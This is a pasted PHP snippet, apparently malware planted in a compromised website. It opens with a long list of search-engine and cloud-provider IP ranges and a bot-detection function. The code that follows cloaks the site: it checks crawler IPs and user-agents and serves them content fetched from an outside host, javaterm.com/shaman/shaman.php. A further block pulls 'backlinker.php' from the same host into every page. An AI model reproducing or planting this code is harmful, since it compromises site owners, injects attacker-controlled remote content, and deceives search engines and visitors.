- array('94.107.194.0', '94.107.194.255'),
- array('88.134.184.0', '88.134.184.255'),
- array('178.32.86.0', '178.32.86.255'),
- array('198.200.32.0', '198.200.32.255'),
- array('91.215.79.0', '91.215.79.255'),
- array('91.121.170.0', '91.121.170.255'),
- array('62.141.45.0', '62.141.45.255'),
- array('130.255.134.0', '130.255.134.255'),
- array('178.33.42.0', '178.33.42.255'),
- array('198.2.202.0', '198.2.202.255'),
- array('62.205.136.0', '62.205.136.255'),
- array('109.87.138.0', '109.87.138.255'),
- array('162.210.39.0', '162.210.39.255'),
- array('217.118.50.0', '217.118.50.255'),
- array('71.168.109.0', '71.168.109.255'),
- array('211.24.57.0', '211.24.57.255'),
- array('212.114.229.0', '212.114.229.255'),
- array('208.76.15.0', '208.76.15.255'),
- array('5.10.83.0', '5.10.83.255'),
- array('188.65.183.0', '188.65.183.255'),
- array('192.111.129.0', '192.111.129.255'),
- array('89.156.110.0', '89.156.110.255'),
- array('198.2.214.0', '198.2.214.255'),
- array('5.135.47.0', '5.135.47.255'),
- array('147.255.56.0', '147.255.56.255'),
- array('79.254.97.0', '79.254.97.255'),
- array('212.113.47.0', '212.113.47.255'),
- array('137.175.15.0', '137.175.15.255'),
- array('59.101.38.0', '59.101.38.255'),
- array('173.208.187.0', '173.208.187.255'),
- array('65.55.55.0', '65.55.55.255'),
- array('95.91.56.0', '95.91.56.255'),
- array('31.53.183.0', '31.53.183.255'),
- array('68.115.95.0', '68.115.95.255'),
- array('119.235.237.0', '119.235.237.255'),
- array('217.195.202.0', '217.195.202.255'),
- array('46.107.106.0', '46.107.106.255'),
- array('195.138.247.0', '195.138.247.255'),
- array('94.23.13.0', '94.23.13.255'),
- array('67.23.164.0', '67.23.164.255'),
- array('188.143.234.0', '188.143.234.255'),
- array('217.86.236.0', '217.86.236.255'),
- array('176.31.49.0', '176.31.49.255'),
- array('157.56.93.0', '157.56.93.255'),
- array('92.227.3.0', '92.227.3.255'),
- array('222.77.239.0', '222.77.239.255'),
- array('217.238.126.0', '217.238.126.255'),
- array('65.49.14.0', '65.49.14.255'),
- array('157.55.32.0', '157.55.32.255'),
- array('31.193.51.0', '31.193.51.255'),
- array('5.248.87.0', '5.248.87.255'),
- array('117.27.138.0', '117.27.138.255'),
- array('88.191.188.0', '88.191.188.255'),
- array('78.27.130.0', '78.27.130.255'),
- array('137.135.116.0', '137.135.116.255'),
- array('78.55.104.0', '78.55.104.255'),
- array('114.32.109.0', '114.32.109.255'),
- array('37.221.192.0', '37.221.192.255'),
- array('188.65.178.0', '188.65.178.255'),
- array('119.63.193.0', '119.63.193.255'),
- array('89.27.65.0', '89.27.65.255'),
- array('66.249.81.0', '66.249.81.255'),
- array('31.54.66.0', '31.54.66.255'),
- array('137.175.118.0', '137.175.118.255'),
- array('46.246.33.0', '46.246.33.255'),
- array('157.55.36.0', '157.55.36.255'),
- array('111.95.243.0', '111.95.243.255'),
- array('93.219.75.0', '93.219.75.255'),
- array('178.32.226.0', '178.32.226.255'),
- array('110.86.69.0', '110.86.69.255'),
- array('62.24.181.0', '62.24.181.255'),
- array('94.224.68.0', '94.224.68.255'),
- array('37.228.106.0', '37.228.106.255'),
- array('141.170.243.0', '141.170.243.255'),
- array('198.245.63.0', '198.245.63.255'),
- array('86.13.63.0', '86.13.63.255'),
- array('188.40.75.0', '188.40.75.255'),
- array('88.71.57.0', '88.71.57.255'),
- array('59.57.14.0', '59.57.14.255'),
- array('220.135.26.0', '220.135.26.255'),
- array('95.37.9.0', '95.37.9.255'),
- array('218.108.170.0', '218.108.170.255'),
- array('84.200.79.0', '84.200.79.255'),
- array('142.4.208.0', '142.4.208.255'),
- array('5.248.84.0', '5.248.84.255'),
- array('93.93.79.0', '93.93.79.255'),
- array('46.191.184.0', '46.191.184.255'),
- array('176.31.213.0', '176.31.213.255'),
- array('96.47.225.0', '96.47.225.255'),
- array('5.79.80.0', '5.79.80.255'),
- array('69.196.241.0', '69.196.241.255'),
- array('123.2.148.0', '123.2.148.255'),
- array('81.30.243.0', '81.30.243.255'),
- array('92.76.115.0', '92.76.115.255'),
- array('119.205.213.0', '119.205.213.255'),
- array('206.207.116.0', '206.207.116.255'),
- array('91.238.134.0', '91.238.134.255'),
- array('188.100.249.0', '188.100.249.255'),
- array('199.127.227.0', '199.127.227.255'),
- array('50.18.139.0', '50.18.139.255'),
- array('64.71.202.0', '64.71.202.255'),
- array('192.200.154.0', '192.200.154.255'),
- array('50.165.51.0', '50.165.51.255'),
- array('5.44.20.0', '5.44.20.255'),
- array('64.191.76.0', '64.191.76.255'),
- array('216.59.3.0', '216.59.3.255'),
- array('85.8.28.0', '85.8.28.255'),
- array('222.77.235.0', '222.77.235.255'),
- array('93.219.110.0', '93.219.110.255'),
- array('64.71.204.0', '64.71.204.255'),
- array('84.0.24.0', '84.0.24.255'),
- array('184.171.165.0', '184.171.165.255'),
- array('216.152.251.0', '216.152.251.255'),
- array('5.146.212.0', '5.146.212.255'),
- array('220.255.1.0', '220.255.1.255'),
- array('76.253.65.0', '76.253.65.255'),
- array('5.135.164.0', '5.135.164.255'),
- array('192.95.47.0', '192.95.47.255'),
- array('85.115.248.0', '85.115.248.255'),
- array('217.238.66.0', '217.238.66.255'),
- array('37.228.104.0', '37.228.104.255'),
- array('58.62.178.0', '58.62.178.255'),
- array('80.47.129.0', '80.47.129.255'),
- array('64.71.207.0', '64.71.207.255'),
- array('202.46.62.0', '202.46.62.255'),
- array('31.184.238.0', '31.184.238.255'),
- array('121.178.26.0', '121.178.26.255'),
- array('198.27.68.0', '198.27.68.255'),
- array('207.70.3.0', '207.70.3.255'),
- array('78.93.73.0', '78.93.73.255'),
- array('91.228.178.0', '91.228.178.255'),
- array('198.100.144.0', '198.100.144.255'),
- array('64.71.203.0', '64.71.203.255'),
- array('64.71.195.0', '64.71.195.255'),
- array('64.71.196.0', '64.71.196.255'),
- array('38.99.96.0', '38.99.96.255'),
- array('207.70.60.0', '207.70.60.255'),
- array('72.14.164.0', '72.14.164.255'),
- array('206.80.115.0', '206.80.115.255'),
- array('64.71.198.0', '64.71.198.255'),
- array('223.205.132.0', '223.205.132.255'),
- array('64.71.206.0', '64.71.206.255'),
- array('64.71.197.0', '64.71.197.255'),
- array('71.197.44.0', '71.197.44.255'),
- array('58.22.10.0', '58.22.10.255'),
- array('208.115.111.0', '208.115.111.255'),
- array('62.128.158.0', '62.128.158.255'),
- array('59.60.115.0', '59.60.115.255'),
- array('220.132.19.0', '220.132.19.255'),
- array('209.19.186.0', '209.19.186.255'),
- array('207.70.9.0', '207.70.9.255'),
- array('157.55.33.0', '157.55.33.255'),
- array('209.19.152.0', '209.19.152.255'),
- array('93.219.95.0', '93.219.95.255'),
- array('206.207.117.0', '206.207.117.255'),
- array('184.105.235.0', '184.105.235.255'),
- array('209.19.138.0', '209.19.138.255'),
- array('145.236.26.0', '145.236.26.255'),
- array('27.153.251.0', '27.153.251.255'),
- array('121.205.243.0', '121.205.243.255'),
- array('27.159.229.0', '27.159.229.255'),
- array('64.71.205.0', '64.71.205.255'),
- array('176.122.226.0', '176.122.226.255'),
- array('121.205.242.0', '121.205.242.255'),
- array('157.55.34.0', '157.55.34.255'),
- array('64.71.192.0', '64.71.192.255'),
- array('142.0.142.0', '142.0.142.255'),
- array('37.228.107.0', '37.228.107.255'),
- array('206.80.118.0', '206.80.118.255'),
- array('37.228.105.0', '37.228.105.255'),
- array('64.71.193.0', '64.71.193.255'),
- array('110.85.127.0', '110.85.127.255'),
- array('64.71.200.0', '64.71.200.255'),
- array('37.57.76.0', '37.57.76.255'),
- array('77.75.77.0', '77.75.77.255'),
- array('206.80.114.0', '206.80.114.255'),
- array('123.139.10.0', '123.139.10.255'),
- array('220.255.2.0', '220.255.2.255'),
- array('202.46.49.0', '202.46.49.255'),
- array('206.80.112.0', '206.80.112.255'),
- array('212.114.180.0', '212.114.180.255'),
- array('202.46.61.0', '202.46.61.255'),
- array('90.30.135.0', '90.30.135.255'),
- array('87.98.237.0', '87.98.237.255'),
- array('77.78.104.0', '77.78.104.255'),
- array('84.210.171.0', '84.210.171.255'),
- array('209.19.175.0', '209.19.175.255'),
- array('217.238.82.0', '217.238.82.255'),
- array('209.208.27.0', '209.208.27.255'),
- array('64.71.194.0', '64.71.194.255'),
- array('217.253.227.0', '217.253.227.255'),
- array('213.236.164.0', '213.236.164.255'),
- array('202.46.50.0', '202.46.50.255'),
- array('64.71.199.0', '64.71.199.255'),
- array('58.62.188.0', '58.62.188.255'),
- array('178.202.133.0', '178.202.133.255'),
- array('173.44.37.0', '173.44.37.255'),
- array('202.46.48.0', '202.46.48.255'),
- array('220.137.58.0', '220.137.58.255'),
- array('110.45.145.0', '110.45.145.255'),
- array('218.25.249.0', '218.25.249.255'),
- array('84.13.4.0', '84.13.4.255'),
- array('49.212.135.0', '49.212.135.255'),
- array('91.237.249.0', '91.237.249.255'),
- array('206.207.80.0', '206.207.80.255'),
- array('192.119.144.0', '192.119.144.255'),
- array('88.198.97.0', '88.198.97.255'),
- array('74.115.0.0', '74.115.0.255'),
- array('137.175.0.0', '137.175.0.255'),
- array('207.70.25.0', '207.70.25.255'),
- array('199.167.148.0', '199.167.148.255'),
- array('188.100.243.0', '188.100.243.255'),
- array('220.181.108.0', '220.181.108.255'),
- array('142.4.117.0', '142.4.117.255'),
- array('92.75.156.0', '92.75.156.255'),
- array('209.19.170.0', '209.19.170.255'),
- array('141.0.9.0', '141.0.9.255'),
- array('192.99.1.0', '192.99.1.255'),
- array('202.105.63.0', '202.105.63.255'),
- array('86.182.85.0', '86.182.85.255'),
- array('85.24.205.0', '85.24.205.255'),
- array('66.248.193.0', '66.248.193.255'),
- array('64.71.201.0', '64.71.201.255'),
- array('202.46.63.0', '202.46.63.255'),
- array('69.171.237.0', '69.171.237.255'),
- array('208.115.113.0', '208.115.113.255'),
- array('67.197.175.0', '67.197.175.255'),
- array('78.46.142.0', '78.46.142.255'),
- array('31.6.71.0', '31.6.71.255'),
- array('79.170.91.0', '79.170.91.255'),
- array('27.159.223.0', '27.159.223.255'),
- array('195.158.7.0', '195.158.7.255'),
- array('62.24.252.0', '62.24.252.255'),
- array('110.85.126.0', '110.85.126.255'),
- array('198.50.171.0', '198.50.171.255'),
- array('89.144.52.0', '89.144.52.255'),
- array('46.188.5.0', '46.188.5.255'),
- array('2.8.79.0', '2.8.79.255'),
- array('67.205.72.0', '67.205.72.255'),
- array('173.252.73.0', '173.252.73.255'),
- array('120.37.231.0', '120.37.231.255'),
- array('142.4.217.0', '142.4.217.255'),
- array('157.56.92.0', '157.56.92.255'),
- array('198.228.228.0', '198.228.228.255'),
- array('202.46.57.0', '202.46.57.255'),
- array('137.175.1.0', '137.175.1.255'),
- array('110.86.186.0', '110.86.186.255'),
- array('85.238.96.0', '85.238.96.255'),
- array('202.46.60.0', '202.46.60.255'),
- array('178.255.215.0', '178.255.215.255'),
- array('209.19.180.0', '209.19.180.255'),
- array('89.144.59.0', '89.144.59.255'),
- array('188.244.35.0', '188.244.35.255'),
- array('90.30.225.0', '90.30.225.255'),
- array('92.206.37.0', '92.206.37.255'),
- array('65.61.200.0', '65.61.200.255'),
- array('69.162.89.0', '69.162.89.255'),
- array('85.164.206.0', '85.164.206.255'),
- array('80.241.220.0', '80.241.220.255'),
- array('182.236.128.0', '182.236.255.255'),
- array('50.16.0.0', '50.19.255.255'),
- array('107.20.0.0', '107.23.255.255'),
- array('184.72.0.0', '184.73.255.255'),
- array('54.192.0.0', '54.207.255.255'),
- array('54.240.0.0', '54.255.255.255'),
- array('54.224.0.0', '54.239.255.255'),
- array('174.129.0.0', '174.129.255.255'),
- array('178.151.216.0', '178.151.216.255'),
- array('54.208.0.0', '54.221.255.255'),
- array('84.51.64.0', '84.51.127.255'),
- array('54.234.0.0', '54.235.255.255'),
- array('204.236.128.0', '204.236.255.255'),
- array('54.236.0.0', '54.237.255.255'),
- array('23.20.0.0', '23.23.255.255'),
- array('178.150.58.0', '178.150.58.255'),
- array('77.234.43.0', '77.234.43.255'),
- array('178.150.247.0', '178.150.247.255'),
- array('58.137.15.176', '58.137.15.183'),
- array('27.125.200.0', '27.125.203.255'),
- array('117.239.117.16', '117.239.117.23'),
- array('117.239.195.16', '117.239.195.23'),
- array('91.123.16.0', '91.123.31.255'),
- array('119.42.152.0', '119.42.152.255'),
- array('178.151.84.0', '178.151.84.255'),
- array('193.99.42.0', '193.99.42.255'),
- array('131.107.0.0', '131.107.255.255'),
- array('167.220.0.0', '167.220.255.255'),
- array('87.238.80.0', '87.238.81.255'),
- array('14.139.61.128', '14.139.61.143'),
- array('210.212.195.224', '210.212.195.239'),
- array('111.235.64.0', '111.235.67.255'),
- array('218.248.0.224', '218.248.0.231'),
- array('131.118.0.0', '131.118.255.255'),
- array('14.139.186.160', '14.139.186.175'),
- array('125.62.192.0', '125.62.207.255'),
- array('50.112.0.0', '50.112.255.255'),
- array('67.202.0.0', '67.202.63.255'),
- array('72.44.32.0', '72.44.63.255'),
- array('184.172.0.0', '184.173.255.255'),
- array('138.91.0.0', '138.91.255.255'),
- array('98.136.0.0', '98.139.255.255'),
- array('209.85.128.0', '209.85.255.255'),
- array('176.34.208.0', '176.34.215.255'),
- array('176.31.16.216', '176.31.16.219'),
- array('176.31.203.192', '176.31.203.195'),
- array('176.31.223.44', '176.31.223.47'),
- array('100.43.64.0', '100.43.95.255'),
- array('37.59.165.100', '37.59.165.103'),
- array('176.31.61.236', '176.31.61.239'),
- array('176.31.132.232', '176.31.132.235'),
- array('49.156.42.0', '49.156.42.255'),
- array('178.32.161.208', '178.32.161.211'),
- array('176.31.159.56', '176.31.159.59'),
- array('178.32.147.148', '178.32.147.151'),
- array('75.101.128.0', '75.101.255.255'),
- array('46.105.254.212', '46.105.254.215'),
- array('176.31.223.220', '176.31.223.223'),
- array('176.31.159.128', '176.31.159.131'),
- array('184.169.128.0', '184.169.255.255'),
- array('123.108.200.0', '123.108.207.255'),
- array('176.31.7.192', '176.31.7.195'),
- array('37.59.227.68', '37.59.227.71'),
- array('137.135.0.0', '137.135.255.255'),
- array('176.34.0.0', '176.34.255.255'),
- array('46.149.80.0', '46.149.95.255'),
- array('176.31.3.156', '176.31.3.159'),
- array('69.147.64.0', '69.147.127.255'),
- array('176.31.220.44', '176.31.220.47'),
- array('194.37.104.0', '194.37.231.255'),
- array('54.248.0.0', '54.249.255.255'),
- array('176.31.18.244', '176.31.18.247'),
- array('178.33.157.184', '178.33.157.187'),
- array('178.32.251.116', '178.32.251.119'),
- array('176.31.203.36', '176.31.203.39'),
- array('37.59.200.228', '37.59.200.231'),
- array('176.31.210.100', '176.31.210.103'),
- array('109.87.185.0', '109.87.185.255'),
- array('54.253.0.0', '54.253.255.255'),
- array('116.255.192.0', '116.255.255.255'),
- array('176.31.198.236', '176.31.198.239'),
- array('159.224.0.0', '159.224.255.255'),
- array('178.33.181.136', '178.33.181.139'),
- array('178.151.30.0', '178.151.30.255'),
- array('5.39.15.148', '5.39.15.151'),
- array('178.151.142.0', '178.151.142.255'),
- array('178.150.80.0', '178.150.80.255'),
- array('178.150.167.0', '178.150.167.255'),
- array('178.151.86.0', '178.151.86.255'),
- array('37.57.183.0', '37.57.183.255'),
- array('46.51.128.0', '46.51.191.255'),
- array('8.0.0.0', '8.255.255.255'),
- array('46.105.254.228', '46.105.254.231'),
- array('175.41.192.0', '175.41.223.255'),
- array('178.150.71.0', '178.150.71.255'),
- array('37.59.236.16', '37.59.236.19'),
- array('178.150.226.0', '178.150.226.255'),
- array('109.86.194.0', '109.86.194.255'),
- array('109.86.251.0', '109.86.251.255'),
- array('46.137.0.0', '46.137.127.255'),
- array('49.156.41.0', '49.156.41.255'),
- array('46.137.128.0', '46.137.191.255'),
- array('5.39.5.96', '5.39.5.99'),
- array('178.151.124.0', '178.151.124.255'),
- array('94.23.109.132', '94.23.109.135'),
- array('176.31.26.144', '176.31.26.147'),
- array('192.200.224.0', '192.200.255.255'),
- array('37.59.238.60', '37.59.238.63'),
- array('109.87.84.0', '109.87.84.255'),
- array('37.59.82.64', '37.59.82.67'),
- array('178.32.92.248', '178.32.92.251'),
- array('37.59.239.96', '37.59.239.99'),
- array('127.0.0.0', '127.0.0.255'), //Localhost
- );
- $ip = ip2long($ip);
- foreach ($ranges as $range) {
- if(ip2long($range[0]) <= $ip && $ip <= ip2long($range[1])) {
- return true;
- }
- }
- return false;
- }
- ?>
- ?><?php
- //require_once 'wp-list.php';
- $ip = $_SERVER['REMOTE_ADDR'];
- // $bad_ips[] = '/188.2326.25234.42/'; // <- this is an example how to add ip from this file to bad_ips list
- $allow = true;
- foreach ($bad_ips as $bad_ip)
- {
- if (preg_match($bad_ip, $ip))
- {
- $allow = false;
- break;
- }
- }
- //echo "BAD IPS ".$allow."<br>";
- $agent = preg_match('!(google|yahoo|bing|msn|yandex)!', strtolower($_SERVER['HTTP_USER_AGENT']));
- /*echo "Check p".check_bot_ip($ip)."<br>";
- echo "BAD IPS ". $agent."<br>";
- exit;*/
- if (!$allow || check_bot_ip($ip) || $agent ) { if(function_exists('curl_init'))
- {
- $url = "http://javaterm.com/shaman/shaman.php";
- $ch = curl_init();
- $timeout = 5;
- curl_setopt($ch,CURLOPT_URL,$url);
- curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
- curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
- $data = curl_exec($ch);
- curl_close($ch);
- echo "$data";
- }
- }
- // here is normal body of the website which will be displayed for other users
- // you can require this content from external file with require_once function on place inline like below:
- ?>
- ?><?php
- if(function_exists('curl_init'))
- {
- $url = "http://javaterm.com/green/backlinker.php";
- $ch = curl_init();
- $timeout = 5;
- curl_setopt($ch,CURLOPT_URL,$url);
- curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
- curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
- $data = curl_exec($ch);
- curl_close($ch);
- echo "$data";
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment